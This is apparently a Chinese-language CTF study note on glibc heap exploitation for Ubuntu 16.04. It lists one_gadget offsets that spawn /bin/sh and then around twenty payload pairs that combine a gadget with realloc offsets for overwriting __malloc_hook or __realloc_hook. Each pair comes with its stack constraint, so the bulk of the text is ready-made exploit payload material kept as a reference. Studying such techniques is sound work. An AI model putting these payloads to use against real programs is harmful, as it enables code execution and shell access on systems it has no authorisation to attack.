探究过程就不写啦 不同环境可以用相同方式找gadget,总的来说解决了控制hook但是拿不到shell的问题

Res

ubuntu16.04 LTS的onegadget如下

0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

可以推出以下16个联合攻击方式

p64(0x4526a+base)+p64(libc.sym['realloc'])
  [rsp-0x40] == NULL  (*)

p64(0x4526a+base)+p64(2+libc.sym['realloc'])
  [rsp-0x38] == NULL  (*)

p64(0x4526a+base)+p64(4+libc.sym['realloc'])
  [rsp-0x30] == NULL  (*)

p64(0x4526a+base)+p64(6+libc.sym['realloc'])
  [rsp-0x28] == NULL  (*)

p64(0x4526a+base)+p64(11+libc.sym['realloc'])
  [rsp-0x20] == NULL  (*)

p64(0x4526a+base)+p64(12+libc.sym['realloc'])
  [rsp-0x18] == NULL  (*)

p64(0x4526a+base)+p64(16+libc.sym['realloc'])
  [rsp-0x10] == NULL  (时malloc前rbx为0) 

p64(0xf02a4+base)+p64(6+libc.sym['realloc'])
  [rsp-0x8] == NULL

p64(0xf1147+base)+p64(libc.sym['realloc'])
  [rsp] == NULL 

p64(0xf02a4+base)+p64(12+libc.sym['realloc'])
  [rsp+0x8] == NULL

p64(0xf02a4+base)+p64(16+libc.sym['realloc'])
  [rsp+0x10] == NULL 

p64(0xf1147+base)+p64(6+libc.sym['realloc'])
  [rsp+0x18] == NULL 

p64(0xf1147+base)+p64(11+libc.sym['realloc'])
  [rsp+0x20] == NULL 

p64(0x4526a+base)+p64(20+libc.sym['realloc'])
  [rsp+0x28] == NULL 

p64(0)+p64(0x4526a+base)
  [rsp+0x30] == NULL 

p64(0xf02a4+base)+p64(20+libc.sym['realloc'])
  [rsp+0x48] == NULL 

p64(0)+p64(0xf02a4+one)
  [rsp+0x50] == NULL 

p64(0xf1147+base)+p64(20+libc.sym['realloc'])
  [rsp+0x68] == NULL 

p64(0)+p64(0xf1147+one)
  [rsp+0x70] == NULL 

其他类似的像是__getcwd+1645只要满足[rsp-0x48]==0 就可以成功.

总结可知如果可以控制realloc/mallochook那么在上述环境下one_gadget其作用的条件为[rsp-0x48]rsp+0x30内存在一个qword的值为0或者满足以下四者中的一个.

[rsp+0x70] == NULL 
[rsp+0x68] == NULL 
[rsp+0x50] == NULL 
[rsp+0x48] == NULL 

可以看出其范围是非常广的,还有就是通过call malloc触发

p64(0x4526a+base)+p64(16+libc.sym['realloc'])
  [rsp-0x10] == NULL  (也就是相当于call malloc时 rbx为0) 

基本都是可以的,因为一般题目call malloc都是在程序段,一般自己写的程序用编译之后不到rbx所以这个gadget灰常舒服. 这篇用于以后参照.